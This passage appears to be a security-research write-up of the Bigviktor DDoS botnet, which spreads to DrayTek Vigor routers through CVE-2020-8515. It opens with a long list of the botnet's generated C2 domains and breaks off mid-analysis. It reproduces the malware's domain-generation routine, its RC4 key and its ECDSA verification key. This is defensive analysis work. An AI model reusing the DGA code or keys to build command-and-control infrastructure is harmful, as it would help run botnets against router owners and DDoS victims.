watchasleeplight.futbol
bringpluscan.futbol
email.be-careful-midnight.one
video.offer-psychologicalknowledge.info
seemostuncle.realty
ftp.takelegalcourt.observer
followwillingpsychology.link
continueexactresponse.observer
shop.seeplentyboot.pictures
ns1.make-wonderful-hold.observer
pop.sayalonelight.realty
include-severe-society.click
followsuspiciousmoment.nl
tftp.includerepresentativepost.xyz
helpsuccessfultitle.top
includevisualconsideration.observer
bringafraidslide.realty
learnchancetelephone.info
movesmallentrance.org
give-superdate.nl
requiredaymoment.in
likeactionif.futbol
noc.likeemotionalpreference.one
openhorror-tie.realty
expectevenmilk.top
meanactioninternet.link
images.begreen-simple.one
includeleather-she.pictures
talkawareissue.club
sayindependentplayer.xyz
changeillegalriver.info
seelongthroat.observer
playanxiousrole.info
feelminutedegree.observer
follownastymountain.rocks
tellprettyegg.org
passactualstable.observer
mail2.leadbestmistake.observer
help-aliveresearch.info
runsalt-college.com
tellbest-necessary.link
requireannualpolice.pictures
pullyoungview.realty
makedarkcontract.observer
shop.help-healthythought.net
remain-practicaloutside.observer
sellenvironmental-harm.futbol
stop-thismilk.info
includeuniquecandle.pictures
thinkrelevantchildhood.org
webmail.waitspecialistcompany.in
seem-brilliant-device.futbol
takerightpartner.observer
mail.useplanebus.fans
thinkperfectcompany.tel
appearpresentshirt.realty
bringupstairscommunity.club
keep-electronicinteraction.in
fallnice-blue.link
sendappropriatefuneral.info
tellawaydesign.top
tftp.runswimmingimprovement.fans
lookthenpositive.pictures
moveplastic-history.top
havewildhit.com
cloud.playsouthnormal.nl
setswimmingsuit.in
movepositivemove.link
playgrosslandscape.art
createnextguest.rocks
gominutepie.club
killfemaleprofile.click
spendimmediaterush.club
openweekly-watch.one
dev.believedesignercharacter.in
try-redcommittee.com
tftp.providestill-thing.net
includemothermiddle.realty
smtp.writebeginningitem.xyz
open-proudprinciple.com
noc.expectbravewonder.art
readcivil-slip.click
go-motorprofessor.click
feeldramaticdig.pictures
beexcellentangle.xyz
startafterchemistry.xyz
vpn.give-formerhat.top
writefunnyassignment.fans
webmail.buy-roughcigarette.fans
giverawdistrict.xyz
come-historicalinstruction.org
mail2.tellannualarrival.observer
server.find-simpleincrease.in
img.live-informal-desk.futbol
buildefficientstaff.rocks
seeguiltybike.futbol
allowtypicalmonitor.link
look-famousexcitement.nl
lead-awaybar.observer
readdresssense.link
www1.rememberlocalgift.in
buildusualrisk.observer
work-extremestop.link
read-educationalpanic.net
expectagohusband.in
includepowerfulworker.info
losewholeauthor.com
work-wastedivide.in
sellbig-test.org
require-livingmeaning.com
spendusedchildhood.click
needvaluableanywhere.pictures
likesoftbowl.net
helpcivil-net.org
callupstairseconomy.link
readkitchenmotor.click
fallcalmanimal.pictures
email.takefederal-leading.xyz
wait-rareenergy.com
needsaltswim.click
winlower-command.in
tellhugecandidate.one
reportrawchapter.xyz
beginaccurateoriginal.tel
setshotguard.one
remote.turnpartyengineer.club
buyhousecomfortable.com
turn-successful-official.observer
tftp.walkmediumgroup.futbol
fallpriorshopping.futbol
waitpleasantquality.rocks
showscaredsquare.one
stop-closecard.tel
moveminimum-self.rocks
support.followholidayairline.observer
playdarksociety.top
sitenoughdetail.net
becomeaccurateuser.rocks
workheavybrief.fans
setafteradult.net
makewhat-title.club
hear-relative-philosophy.observer
keepmoneygrade.pictures
spend-firstinterest.art
asklocalnasty.link
talk-alive-family.nl
sell-significantoccasion.top
bedressfold.fans
waithappysell.top
lead-lostsurround.link
findinternalmain.realty
think-legalresult.link
www2.dofullhold.club
beordinarynews.art
pass-wineunit.nl
appearemergencytruth.info
turndistinctscreen.nl
leadfederalwater.top
think-capable-concentrate.in
bringdrunk-monitor.com
set-joint-equivalent.com
understandinnercompany.art
loveleather-extent.click
trypatient-detail.one
appearminutehunt.one
askinteresting-daughter.club
ssl.expectupsetif.club
rundesperatebook.tel
speakdressinternet.com
needcuriousfootball.top
noc.stayaccuraterelative.link
bringshotdemand.com
movefreenature.com
ww1.changeshotprofit.pictures
standsexual-instruction.com
readweakpoint.realty
growrealistictext.realty
knowunfairprocedure.futbol
appear-leading-jacket.observer
news.losefairsuit.top
pullleading-promotion.top
looklessparent.xyz
likeoutsidepresence.one
webmail.talk-normalred.link
look-small-image.org
show-clean-command.art
startfriendlyconstant.info
lookwholebelt.xyz
learn-sweetcream.top
dieeitherimage.com
suggestfunny-salt.link
sithealthymembership.info
playculturalresponsibility.com
saygeneralprize.pictures
appearhonestcup.org
begin-leftspare.one
believepublicpermit.in
mail2.lookcreativeintroduction.in
fall-capablepersonal.in
hearnorth-fortune.com
learncuriousideal.link
remote.havecompletesoil.net
dosmoothhousing.info
reachinternationalchapter.one
understandafternoon-oven.art
provideenoughrich.one
web.showplanegrandfather.in
report-existinginstruction.tel
dodecent-entry.in
becomestreetnose.info
video.gomaterialcap.realty
killtemporarybrush.com
th.lookpracticalteacher.one
hear-basiccrew.realty
talkexpertbirthday.realty
mail2.get-evenversion.art
comeadultfamily.art
smtp.understandillegal-great.one
img.addangrylip.in
stopsilvernews.nl
continue-mentaleffort.xyz
dieafternoonvisual.click
trywhite-juice.club
ask-betterequipment.nl
go-awareinflation.rocks
provideeducationaltie.link
loveunfairlow.org
buildnational-preference.realty
readvariousengineer.one
learndry-possible.click
expectunlikelygrand.info
raise-weekly-till.net
take-rare-figure.xyz
seeplasticbeing.click
leavekindeducation.club
includecorrectmembership.futbol
continueinitialgrocery.realty
workrelevant-tackle.observer
feelinternal-grandfather.link
playsafeunion.link
know-deep-brick.nl
offerillegaldrink.fans
writeoldpolice.one
offerdowntown-stand.top
spendopeningchart.realty
losefewmouth.org
staymaterialcash.observer
sitpastgirl.futbol
providetraditionalanybody.realty
buildnicelake.one
www2.killnumerousdriver.nl
haveappropriatewhite.realty
dovegetableguard.tel
mail.sendconsistentsafety.info
remember-independentstorm.net
startequivalentship.org
think-leftcapital.pictures
work-basicexpert.info
considerhonest-north.nl
a.callresponsible-difference.observer
walktimefuneral.one
allowroundminute.xyz
gounable-administration.tel
th.sendsilverscale.link
pull-particular-trainer.net
movegreengrowth.futbol
rununhappysecretary.fans
leaveangryextreme.link
loseeast-possibility.pictures
live-prettyhalf.fans
images.cutnegativeentrance.club
beginslight-application.nl
understandboring-drink.click
secure.askafterjoin.realty
learnstillintroduction.click
comegladsalt.realty
sitgrandbench.art
watcheducationalcloset.nl
appearoldboss.tel
remainmaximumrepublic.fans
buyavailablestay.net
play-happyrefrigerator.tel
understand-leftnet.tel
spendgamenurse.tel
add-localmuscle.art
understandvisiblefire.rocks
www.runjuniorstress.observer
runold-response.art
continuepracticalswitch.observer
sellextension-fall.click
start-negativecourse.com
spendlegalrepeat.com
diecornerconsideration.click
leadresident-drive.futbol
www.payforeignglad.club
play-logical-unit.net
become-used-grass.pictures
cutsubstantialdeal.rocks
standfinalbid.art
leaddependenttale.futbol
die-used-back.in
play-flatambition.nl
raiseagent-pressure.art
openthenmouse.top
readobviouscow.info
useresidentfunction.tel
standafterpicture.observer
raise-proofmight.xyz
needfarking.club
showseriousback.art
smtp.sitprizerelative.observer
raiseextensionmuscle.art
know-financiallecture.rocks
lookdeepmake.com
providenewexamination.click
keep-constantfinish.click
feelconnectconcert.link
noc.buildacceptablewait.futbol
openexactanimal.one
send-bestweb.one
expectstrangeprocedure.realty
passsevereconfidence.club
x.setentire-cup.pictures
server.thinkpurplerepeat.info
download.paytightcomparison.top
goagent-read.in
sendcapital-recording.xyz
follow-femaleside.nl
likecoldclient.net
happen-sparelay.click
makedecent-individual.net
waitwhite-bit.nl
sellwestreport.fans
work-realisticdevelopment.art
goworkingprize.rocks
do-plenty-cross.realty
takethink-force.observer
suggestsevereblood.art
meandirtybox.nl
admin.loveeastfood.org
staymental-energy.xyz
go-local-gap.club
email.servepoliticalhighway.org
callnorthkiss.club
email.takesilver-impact.rocks
sellweirdsensitive.club
staydifferentobject.nl
writesilverstruggle.net
server.allowdrunkabuse.com
livestatusnail.in
movetimething.nl
reportresponsibleswitch.tel
writeseparateliterature.com
sitnearby-tackle.nl
addpsychologicalbuilding.org
buy-moremarch.click
serveofficialpoint.art
comesmartfeeling.one
ww1.be-lostwindow.net
addavailablekind.xyz
bringupstairs-adult.realty
set-consistent-property.one
watchaggressivecategory.info
begin-both-branch.futbol
th.runroutineinvite.net
stopproofcommission.info
play-culturalplate.nl
www2.read-incident-branch.net
comeeitherhelp.tel
appearlegalprocedure.net
seemmiddledelay.tel
meancreativecommittee.org
www1.believesimilar-thing.futbol
expectsouthinevitable.futbol
seemdress-homework.top
happen-homewave.rocks
addpuretop.art
tellreasonabledocument.click
growminimumtelevision.net
pop.come-awareyard.net
understandvisualstation.tel
secure.giveglad-city.art
likenearbystomach.realty
losecoolanalysis.fans
getoriginaltrash.click
includefamousdrag.fans
spendfamiliar-gather.tel
workmanychampionship.futbol
learnanother-inside.tel
sitbrightrope.com
openunhappypicture.futbol
www.trywide-principle.futbol
changeminor-march.futbol
workgeneraltrick.info
add-criticalvoice.art
buystraightdeep.fans
sayintelligentaspect.click
liveplasticcounty.click
decideillegalquality.top
feelgold-series.pictures
bbs.dodrunkanything.com
remainbothfeel.fans
bringeasttruck.com
createobviouspeople.top
considerproperproduct.com
adddeepresolve.link
help-recentspeech.pictures
happen-southcountry.art
servecorner-strength.com
email.likemobilelocation.click
readborn-access.pictures
a.takeuglyparent.com
meanmountainpride.click
believe-headrise.club
runaccordingload.nl
th.winrealpriority.rocks
hearnewnegative.observer
includedifferentdetail.observer
buildchickentraffic.fans
use-physicaldepression.tel
considerpowerfulfruit.observer
test.buy-timeshoulder.com
playsuddenbird.in
killseveral-city.one
takesignalincident.in
work-reasonablebreak.pictures
besadenvironment.art
showeastyard.one
seeprettyinspector.in
buygladexchange.art
raiseeastbedroom.xyz
letmad-juice.in
expecthappydrop.nl
begin-ordinarystupid.rocks
goaggressivenasty.xyz
writegloballandscape.in
putenvironmentalimagination.futbol
wantbrightear.one
consider-culturalmenu.net
pay-cornerfat.one
suggest-relativereputation.tel
cam.lookfewnewspaper.nl
turn-everybitter.net
find-cooloutcome.info
continueexpertcontract.tel
holdthickshift.observer
helpdeepsnow.click
trybitter-twist.pictures
pop.offersingle-preparation.in
seemsingleroof.observer
bbs.requireobviouscandle.xyz
turnroughcandy.net
hearnextchest.pictures
openhardmanagement.com
think-exactstroke.top
beginannualgirl.in
providechemical-release.top
th.usebestpull.com
www.dolatefruit.org
providebasicmiddle.org
secure.lookstupidvaluable.click
thinkrelevant-sail.nl
givelogical-brain.net
watchpotentialinitial.info
startinternalgolf.net
www.happen-openingcake.club
tftp.pullleastbeing.art
helpsaferepeat.com
thinksmartfact.net
cloud.let-specialcomparison.net
vpn.sellroughswitch.pictures
go-hungrycarpet.art
follownaturalmeasurement.futbol
stand-inevitabletradition.info
server.speakgooddog.futbol
feelsexualisland.observer
understandinternationalphrase.art
sellnativeself.nl
love-perfecthealth.link
a.waitloud-currency.observer
secure.raise-illdeparture.futbol
knowenvironmentalambition.observer
cam.believesaltleading.observer
thinkdeadsurprise.fans
offerfalse-education.observer
remainactive-beach.pictures
www1.raisefederalclimate.club
watchworkhalf.observer
serveokfinish.info
www2.reportcuriouswait.link
run-classicspray.tel
meetpastaccident.tel
playplasticaccount.club
standvaluablestay.com
runtraditionalmess.in
dev.move-significant-assignment.club
considercompletequality.one
addbornticket.one
ftp.createsorrymembership.nl
providefriendlycity.net
ssl.lovegreatglad.realty
wanteconomywash.net
gw.setusualdouble.realty
openminorboot.tel
becivilappearance.rocks
support.callactualsimple.click
rememberbasicsuggestion.one
saycompetitiveseat.in
lovefast-check.link
learnsouthern-art.rocks
considerprofessionalowner.tel
meanspecificclassroom.nl
bring-fewspare.xyz
read-obvious-stress.org
stand-eastappointment.art
killacceptabledump.click
happentypicalweather.one
email.stayupstairswave.top
webmail.doevening-literature.realty
admin.passbravesleep.observer
addboth-league.realty
raiseplastictowel.club
comelittlebit.org
gw.continuechoicelink.club
happenpopularfamiliar.fans
allow-classicscale.net
expecttightimagination.rocks
noc.beginonlypromise.art
serveappropriatebutton.one
usesillypermission.top
include-eachpension.pictures
remembertrainingpermit.rocks
understandfemale-equipment.pictures
dieresponsible-brief.link
tftp.offer-corner-border.one
saybriefgreat.realty
tellkindkeep.pictures
hold-tough-farmer.top
passnationaldifference.net
shop.send-deep-month.pictures
buystrictconsist.observer
offerremarkabledress.com
buycomprehensiveopening.tel
fall-appropriate-employee.art
seemheadchip.observer
sendremarkablesock.pictures
sell-psychological-board.club
meanimportantmarriage.in
stayconstanta.nl
knowfatmedium.one
providecriticalplay.click
beparkingtechnology.futbol
speakcuriousextension.futbol
www.speakwooden-evening.realty
allowcomplexleather.futbol
setaggressivewall.realty
leadchemicalsuccess.nl
createpracticalimportance.tel
likeremoteinitial.info
m.setsuddendesign.in
killmaintransportation.com
playcapitalsad.org
tftp.learnsorrytype.nl
keepwrongphone.futbol
let-emergencysinger.observer
offerafterbrick.link
seemcharactermixture.club
expectwild-concept.rocks
makesome-tower.click
sayasleepresource.art
remainyellowregular.tel
mean-lastoutside.org
www1.movestock-nose.nl
followemergency-camp.nl
offernoveloutside.xyz
looknicenorth.top
lovetrainingtoe.observer
leadwrongactor.in
th.consider-immediate-specialist.top
raiseslight-win.club
seemlonely-quality.info
tftp.buildappropriatevast.club
followalonewonder.rocks
web.growstillscreen.art
rememberprofessionalpresentation.rocks
requirestrongchip.pictures
tryanotherunique.club
decideopenwriting.com
helpunusual-daughter.pictures
email.followsmalldeparture.link
rememberbeautiful-test.top
send-searecipe.info
buypersonallife.xyz
createkitchenchild.click
havemuch-page.pictures
expectbackgroundaddition.observer
leavequietmarket.org
starthismix.link
movepresentinternational.realty
dointeresting-control.futbol
ww1.remainsoutherncity.pictures
usecarproduce.one
raiseeveningcorner.art
believesecret-female.net
happenlivingtill.one
shop.loseeaststill.xyz
decidefineentry.info
openphysicalsympathy.info
lovevisualdebate.nl
tryopeningwhile.link
have-plasticdrawer.top
news.tellpregnantratio.one
changeunhappysecond.observer
reportkitchen-formal.one
trypopularreplacement.click
trymaster-self.pictures
wantsecretdevice.rocks
feelwideestate.xyz
email.killcheap-poetry.futbol
letparkingbuddy.art
do-sensitivesex.info
cutmanymine.xyz
build-comprehensivepick.club
followdirty-reach.club
th.getunfairscene.futbol
changeintelligentdeep.com
considerhisreputation.nl
buildcurrentlesson.one
cloud.set-thinkpattern.one
bringdeep-revolution.one
askeducationalsuggestion.futbol
dopretendgear.com
ftp.pull-topsector.fans
bringbrightpull.in
work-afraidyard.art
standtalltarget.in
set-slight-proof.futbol
vpn.diefreeyesterday.futbol
liveequalbook.tel
learnpretendtechnology.net
startseparateopening.nl
find-yellownational.fans
callmedium-son.one
happenexternal-candy.click
stoptraditionalfuel.futbol
raisetotalapplication.art
spend-accordingwill.rocks
pullnearbywall.tel
talkeitherjuice.fans
continueunablebet.observer
img.cutwonderfulcheek.observer
followobviouscode.club
waitlonelygift.nl
passaggressivedefinition.pictures
ssl.putsea-people.club
killleadingexam.realty
waitotherwiserequirement.fans
feelpure-conference.rocks
stayoriginalprocess.fans
pulltimeswitch.observer
leadlevelcomfortable.xyz
startbriefeffective.net
sayembarrassed-maintenance.fans
wantrelevantbar.pictures
knowbornoutside.click
do-innerpen.club
tryresponsible-injury.click
webmail.remembersafehang.art
raisefewmix.in
holdstatus-forever.net
change-distinctrecording.net
comeplasticpermission.futbol
suggestgreatstudio.top
email.bringpretty-guide.org
changesouth-preference.org
wantseverebread.futbol
sellbettermail.observer
decideawayad.futbol
staymassive-yellow.xyz
www1.understandusefulpaint.org
workcheap-disaster.nl
letpatientunique.link
watchfair-bug.nl
holdasleepstructure.observer
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概览\n\n2020年6月17日，360Netlab未知威胁检测系统发现一个低检测率的可疑ELF文件(dd7c9d99d8f7b9975c29c803abdf1c33)，目前仅有一款杀毒引擎检测识别;同时流量检测系统将其产生的部分流量标注了疑似DGA，这引起了我们的注意。经过详细分析，我们确定这是一个通过[CVE-2020-8515](https://nvd.nist.gov/vuln/detail/CVE-2020-8515)漏洞传播，针对DrayTek Vigor路由器设备，拥有DGA特性，主要功能为DDos攻击的新僵尸网络的Bot程序。因为传播过程中使用的\"viktor\"文件名(```/tmp/viktor```)以及样本中的```0xB16B00B5```(big boobs)字串，我们将其命名为Bigviktor。\n\n从网络层面来看，Bigviktor遍历DGA每月产生的1000个随机域名，通过请求RC4加密&ECSDA256签名的**s.jpeg**来确认当前存活的有效C2，然后向C2请求**image.jpeg**,执行具体的任务；从功能层面来看，Bigviktor支持8种指令，可以分成2大功能\n\n- DDoS攻击\n- 自更新 \n\n其整体网络结构如图所示，\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_brief.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_brief.png\" class=\"kg-image\"/></a>\n\n\n## Botnet规模\n#### 日活Bot\nDGA是双刃剑，在给作者逃避检测的同时，也给了安全人员机会抢注域名从而劫持僵尸网络的感染主机，我们注册了几个Bigviktor在6月份和7月份生成的域名(`workfrequentsentence.club, waitcornermountain.club`)，用来统计该Botnet的规模，目前我们观察到有900个左右的IP被感染。但从Bigviktor DGA域名的访问情况看目前其规模正在稳步扩张中。其日活跃Bot趋势入下图所示：\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.m.png\" class=\"kg-image\"/></a>\n\n#### Bot地理位置分布\n被感染的设备IP区域分布如下：\n<a href=\"__GHOST_URL__/content/images/2020/07/bigvictor.geo.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigvictor.geo.m.png\" class=\"kg-image\"/></a>\n\n这些IP的主要ASN分布如下：\n```\n412\tAS45899|VNPT_Corp\n194\tAS7552|Viettel_Group\n190\tAS18403|The_Corporation_for_Financing_&_Promoting_Technology\n90\tAS3462|Data_Communication_Business_Group\n82\tAS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.\n66\tAS8151|Uninet_S.A._de_C.V.\n52\tAS45903|CMC_Telecom_Infrastructure_Company\n34\tAS3352|Telefonica_De_Espana\n28\tAS17552|True_Internet_Co.,Ltd.\n22\tAS8881|1&1_Versatel_Deutschland_GmbH\n```\n\n#### 被感染设备\n通过获取被感染设备80，8080，443端口web页面title，我们得知当前被感染DrayTek Vigor路由器版本分布为:\n```\n269 Vigor 2960\n107 Vigor 3900\n87 Vigor 300B \n```\n\n\n## 逆向分析\n\n我们一共捕获了2个版本，其中第一个版本的bot 程序似乎有bug, 不能正常运行，本文以最新版本为例进行逆向分析。\n\n### 样本信息\n\n```\nMD5:dd7c9d99d8f7b9975c29c803abdf1c33\nELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\nPacker: None\n```\n\n总体来说，Bigviktor功能比较简单，运行时绑定本地端口实现单一实例，使用RC4算法解密敏感资源，其中包括了DGA所需要的词组信息，接着使用DGA基于这词组信息产生1000个C2域名，通过libcurl库向特定网址发出请求，测试网络连通。若网络正常则向C2域名请求**s.jpeg**资源验证C2的合法性；当通过了合法性测试后，再向C2 域名请求**male.jpeg** ,**image.jpeg**资源，进行DDos攻击。上述Bot行为可以分成辅助行为和核心行为俩大类，下文将从这个角度来剖析Bigviktor的实现。\n\n\n\n#### 辅助行为\n###### 1:使用libcurl库访问网络资源\n```\nDNS Option:\n 1.1.1.1,8.8.8.8\nUser-Agent Option:\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\"\nAccept Option:\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n```\n###### 2:绑定端口61322实现单一实例\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_single.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_single.png\" class=\"kg-image\"/></a>\n\n\n###### 3:RC4加密敏感资源，资源包括DGA所需的词组信息，白网址，升级文件存放路径等\n \n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_rc.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_rc.png\" class=\"kg-image\"/></a>\n\n\n RC4密钥为\n\n ```\n DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01 \n 02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91\n ```\n\n 以DGA产生domain所需的后缀词为例，密文如下\n\n ```\n 00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|\n 00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|\n 00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|\n 00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|\n 00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|\n 00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|\n 00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|\n 00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|\n 00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|\n 00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|\n 000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|\n 000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\\gw.¶6KmÂ|\n 000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|\n 000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|\n 000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|\n 000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|\n 00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|\n 00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|\n 00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|\n 00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|\n ```\n\n 解密后\n\n ```\n 00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|\n 00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|\n 00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|\n 00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|\n 00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|\n 00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|\n 00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|\n 00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|\n 00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|\n 00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|\n 000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|\n 000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|\n 000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|\n 000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|\n 000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|\n 000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|\n 00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|\n 00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|\n 00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|\n 00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|\n ```\n\n###### 4:通过访问特定网址测试网络连通性，获取当前日期\n <a href=\"__GHOST_URL__/content/images/2020/07/bikviktor_white.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bikviktor_white.png\" class=\"kg-image\"/></a>\n特定网址由RC4解密获得，\n ```\n jd.com weibo.com vk.com\n csdn.net okezone.com office.com\n xinhuanet.com babytree.com livejasmin.com\n twitch.tv naver.com aliexpress.com\n stackoverflow.com tribunnews.com yandex.ru\n soso.com msn.com facebook.com\n youtube.com baidu.com en.wikipedia.org \n twitter.com amazon.com imdb.com\n reddit.com pinterest.com ebay.com\n tripadvisor.com craigslist.org walmart.com\n instagram.com google.com nytimes.com\n apple.com linkedin.com indeed.com\n play.google.com espn.com webmd.com\n cnn.com homedepot.com etsy.com\n netflix.com quora.com microsoft.com\n target.com merriam-webster.com forbes.com\n tmall.com baidu.com qq.com\n sohu.com taobao.com 360.cn\n tianya.cn\n ```\n 访问这些网址中的一个，得到当前日期，这个时间将在DGA中使用。\n ```\n format %a, %d %b %Y\n Fri, 10 Jul 2020\n ```\n\n\n#### 核心行为\n###### 1:使用DGA产生的C2域名\n域名格式为```[prefix.]verbe[-]adjective[-]noun.surfix```,[]中内容表示可选，其中prefix有40个词，verbe有100个词，adjective有525个词，noun有1522个词，surfix有20个词。算法实现如下\n\n ```\n void GenNewKey(uint32_t &key)\n {\n \tuint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);\n \tkey = tmp ^ 32 * tmp;\n };\t\n \tstring c2url;\n \tGenNewKey(seed);\n //1:prefix part\n \tif (seed % 5 == 0)\n \t{\n \t\tGenNewKey(seed);\n \t\tc2url += prefix[seed % 40];\n \t\tc2url += \".\";\n \t}\n //2:verbe part\n \tGenNewKey(seed);\n \tc2url += verbe[seed % 100];\n \tGenNewKey(seed);\n \tif (seed % 10 <= 1)\n \t\tc2url += \"-\";\n //3:adj part\n \tGenNewKey(seed);\n \tc2url += adj[seed % 525];\n \tGenNewKey(seed);\n \tif (seed % 10 <= 1)\n \t\tc2url += \"-\";\n //4:noun part\n \tGenNewKey(seed);\n \tc2url += noun[seed % 1522];\n \tc2url += \".\";\n //5:surfix part\n \tGenNewKey(seed);\n \tc2url += surfix[seed % 20];\n ```\n\n 初始**key**是访问特定网址得到的日期按```%b %Y 00:00```格式生成字串后所计算SHA256值的前4字节，例如\n\n ```\n currtent date: Fri, 10 Jul 2020\n format\t---->Jul 2020 00:00\n sha256\t---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c\n get first 4 bytes\t----> key=0x6ac0f839\n \n ```\n\n 因此每个月的DGA doamin是不一样的，7月全部DGA domain见文章尾。以7月的key（0x6ac0f839）为例，生成的前5个domain\n\n ```\n c2url: decidefresh-county.in\n c2url: payculturaltour.org\n c2url: standvisiblereach.rocks\n c2url: meanforwardcap.top\n c2url: raisefitsize.rocks\n ```\n\n 观察实际数据包DNS请求序列(部分)，可以发现和算法生成的结果是一致的。\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_first5.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_first5.png\" class=\"kg-image\"/></a>\n\n\n\n\n###### 2:获取当前存活的有效C2\n\n Bigviktor通过DGA生成1000个域名，然后从1000内的一个随机位置遍历到第1000个域名，若这个过程中没有有效的C2,再从第一个域名遍历到第1000个域名。为了保证网络的完全可控，不被他人窃取，Bigviktor会对s.jpeg文件做签名校验，只有通过了签名校验，这个C2才是有效的。\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png\" class=\"kg-image\"/></a>\n\n\n \n\n 真实payload加密隐藏于jpeg```(s.jpeg;image.jpeg)```文件中，jpeg的结构为**IMAGE DATA(16 BYTES):Half-RC4 KEY(16 BYTES):Ciphertext**,每个样本都集成了一个Half-RC4 KEY用以和payload中的Half-RC4 key拼成完整的秘钥；一个硬编码的ECDSA256公钥用以验签解密后的payload。\n\n ```\n Half-RC4 KEY:\n 82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67\n Pub KEY:\n 03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30 \n 45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88 \n ```\n\n 以s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563)为例\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_de.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_de.png\" class=\"kg-image\"/></a>\n\n \n\n 拼接出完整RC4密钥\n\n ```\n Half RC4 KEY from s.jpeg + Half Rc4 